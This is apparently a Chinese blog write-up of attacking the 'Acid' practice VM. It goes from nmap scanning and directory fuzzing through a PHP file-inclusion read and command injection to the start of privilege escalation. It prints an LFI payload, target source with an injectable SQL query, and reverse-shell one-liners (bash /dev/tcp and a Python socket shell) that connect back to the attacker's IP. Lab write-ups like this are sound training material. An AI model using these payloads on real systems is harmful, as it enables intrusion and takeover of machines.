Acid靶机渗透

Acid渗透靶机实战

攻击机:kali 192.168.41.147

靶机: acid 192.168.41.149

信息收集

  • ip发现

开启Acid靶机,通过nmap进行局域网存火主机扫描.
![](https://www.icode9.com/i/l/?n=18&i=blog/1357258/201907/1357258-20190725111009774-877137553.png)

  • 端口扫描

通过nmap进行端口扫描,因为nmap默认是扫描1000个端口,发现没有开放服务。于是我设置了端口为全端口1-65535
Acid靶机渗透


Acid靶机渗透
目标主机在33447开了http服务,web服务器是Apache/2.4.10 系统是 Ubuntu ,没有发现cms指纹

开始渗透实战

首先利用dirsearch扫描下网站目录,同时进入网站 http://192.168.41.149:33447/ 看看有没有可以值得利用的地方
Acid靶机渗透
查看网页源代码,发现一串16进制的数,转化成字符=> d293LmpwZw==, base64在转化=> wow.jpg
Acid靶机渗透
Acid靶机渗透
有/images/目录,进入网站的images目录发现403,呢么加个/wow.jpg看看
Acid靶机渗透
保存图片到本地,查看有没有隐藏什么信息,直接用winhex打开。发现有一些特别的数字,看着像16进制。txt是个好东西,直接拖进txt里,然后替换:为空
Acid靶机渗透
转为字符串解出来是一串7aee0f6d588ed9905ee37f16a7c610d4,看着像md5,拿着去解一下
Acid靶机渗透

disbuster fuzz

到这就没思路了,接下来该怎么搞,看WP是用dirbuster爆破出来的challenge目录,我的dirrsearch不行啊,煞笔了,网站标题就是/Challenge
百度了下dirbuster的fuzz 目录的用法,fuzz下/Challenge目录下的php文件
Acid靶机渗透
找到了**cake.php,include.php,error.php,index.php,hacked.php**
Acid靶机渗透
我们先进入Chanllenge目录主页看下,有种似曾相识的感觉,在领航杯的第一次AWD那年,碰到的主页一样
Acid靶机渗透
在main.css中找到这几句话
>>>Conclusion:
Through Login/Logout form it becomes easy to deal with sessions in PHP. Hope you like it, keep reading our other blogs.
Comments and Responses
Your email address will not be published. Required fields are marked *
那就让我们去寻找下别的点

cake.php

查看源码中,出现了/Magic_Box的字样,估计是个目录
Acid靶机渗透

hacked.php

并没有发现什么东西
Acid靶机渗透

error.php

同样,什么东西都没有发现
Acid靶机渗透

include.php

看文件名,就知道可能跟文件包含有关系。果然,直接给了个文件包含的页面

Acid靶机渗透
当输入index.php时,发现页面会重叠index.php的画面,看来是直接包含了,而不是进入包含的页面,并且url参数有可以利用的点,让我们来用php伪协议来看看源码
payload: http://192.168.41.149:33447/Challenge/include.php?file=php://filter/read=convert.base64-encode/resource=index.php&add=Extract+File
页面一闪而过,可以bp抓包查看,确实以base64编码格式读取了index.php的源码
Acid靶机渗透

index.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';
sec_session_start();
$_SESSION['index_page']=time();

if (login_check($mysqli) == true) {
$logged = 'in';
} else {
$logged = 'out';
}
?>
<!DOCTYPE gkg.qvpn html>
<html>
<head>
<title>Secure Login: Log In</title>
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<script type="text/JavaScript" src="js/sha512.js"></script> 
<script type="text/JavaScript" src="js/forms.js"></script>

</head>
<body>
<div class="wrapper">
<div class="container">
<h1>Welcome to Hell</h1>
<?php
if (isset($_GET['error'])) {
echo '<p class="error">Error Logging In!</p>';
}
?> 
<form action="includes/process_login.php" method="post" name="login_form"> 
Email: <input type="text" placeholder="Email Address" name="email" maxlength="20" />
Password: <input type="password" placeholder="Password" name="password" id="password"/>
<input type="submit" value="Login" onclick="formhash(this.form, this.form.password);" /> 
</form>
</div>
<p>You are currently logged <?php echo $logged ?>.</p>
<ul class="bg-bubbles">
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
</ul>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>

<script src="js/index.js"></script>

</body>
</html>

再看下别的页面

hacked.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';

sec_session_start();

if (!isset($_SESSION['protected_page'])){
header('Location: protected_page.php');
exit;
}
if (!isset($_SESSION['index_page'])){
header('Location: protected_page.php');
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<title>Try to Extract Juicy details</title>
</head>
<body>
<div class="wrapper">
<div class="container">
<?php
if(isset($_REQUEST['add']))
{
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = 'mehak';
$conn = mysql_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
die('Could not connect: ' . mysql_error());
}

$id = $_POST['id'];
$sql = "SELECT * FROM members WHERE ID = (('$id'))";
mysql_select_db('secure_login');
$retval = mysql_query( $sql, $conn );
if(! $retval )
{
die('Could not enter data: ' . mysql_error());
}
echo "You have entered ID successfully...Which is not a big deal :D\n";
mysql_close($conn);
}
?>
<p> <h1>You are going Good...Show me your Ninja Skills.</h1> <br> 
<form method="get" action="<?php $_PHP_SELF ?>">
Enter your ID:<input name="id" placeholder="id" type="text" id="id" maxlength="20">
<input name="add" type="submit" id="add" value="Add ID">

</body>
</html>
cake.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';
?>

 

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<title>/Magic_Box</title>
</head>
<body>
<div class="wrapper">
<div class="container">
<p><h1><font color='Red'>Ah.haan....There is long way to go..dude :-)</h1></font><br><font color='Green'>Please <a href="index.php">login</a></f$
</body>
</html>
<?php

/* Come on....catch this file "tails.php" */
?>

 看到hacked.php中,当两个session都有时候才会继续下面的内容,只有当你进入,index.php和protected_page之后,访问hacked.php,才会出现如下页面

Acid靶机渗透

好像没啥用啊?把之前找的md5密码拿出来填进去,以为会发现什么有趣的事,结果跟没啥用的页面。

然后发现cake.php最后一行中,有提示tails.php,尝试进入,发现not found,include试试看,也是个302跳转到protected_page(被耍了吗,我去)

然后还是回到原来,发现的Magic_box目录,用dirbuster来fuzz下目录文件

Acid靶机渗透

Command injection

发现了一个command.php页面,估计是直接命令执行的页面,我们可以直接反弹个shell,然后找一下真正的flag(我发现了,普通的字典是跑不出来的,OWASP里的字典才行)

Acid靶机渗透

命令执行成功,这里可以用; 或者&和|,都可以执行,但是记得urlendoce下,因为是特殊符号,需要url编码,不然可能不会执行

Acid靶机渗透

 

尝试反弹shell,kali,nc监听9090端口,nc -lvvp 9090

>>payload:bash -i >& /dev/tcp/192.168.41.147/9090 0>&1     失败

>>payload:python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.41.147',9090));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"    成功反弹shell

 

 Acid靶机渗透

 提权

然后看一下/etc/passwd,查找一些有用的信息.

Acid靶机渗透

发现有两个用户能登陆并且能操作终端

 emmmmm,然后不会了,看了WP,不会提权啊,自己尝试百度找找su提权的东西

知识点如下

  • sudo : 暂时切换到超级用户模式以执行超级用户权限,提示输入密码时该密码为当前用户的密码,而不是超级账户的密码。不过有时间限制,Ubuntu默认为一次时长15分钟。
  • su:      切换到某某用户模式,提示输入密码时该密码为切换后账户的密码,用法为“su 账户名称”。如果后面不加账户时系统默认为root账户,密码也为超级账户的密码。没有时间限制
  • sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。
  • sudo -i 直接运行sudo命令加-i参数
    sudo su 运行sudo命令给su命令提权,运行su命令。
    sudo -i 运行结果 PWD=/root
    sudo su 运行结果 PWD=/home/用户名(当前用户主目录)

也就是我们需要su到一个普通用户,只要知道用户密码,可以通过sudo-i,直接提权至root用户。

但是,su命令前提需要一个终端,需要的是一个终端设备输入密码,但是我们反弹shell的真是一个标准输入样子的。

我们可以用python命令生成一个虚拟的终端( Python -c 'import pty;pty.spawn("/bin/sh")' )

 Acid靶机渗透

OK,su命令可以用了,接下来就是提权到acid后者saman,再sudo -i 提权到root用户

但是su 到任意用户,我们都需要这个用户的密码,我们才能登陆

Acid靶机渗透

shadow是真正保存密码的地方,但是我们啥权限都没有---,很悲催,所有者为root,且shadow组下的用户才有查看的权限

到这里好像就走不下去了,偷瞄一眼WP。

接下来我们可以查看下相关用户的文件,利用find / -user 命令

命令:find / -user acid  2>/dev/null                    解释下: 2>/dev/null   2再ilnux中的意思是标准错误,/dev/null指空设备,即将标准错误重定向到空设备=>不会报错,显错

 

Acid靶机渗透

不加的话,就会提示错误信息,没有权限等等,这样反而给我们阅读造成困扰,本来就没权限的,还需要你再告诉一遍嘛(下面还一堆错误信息

上一篇:事务的特性ACID


下一篇:是否符合Mysql ACID标准?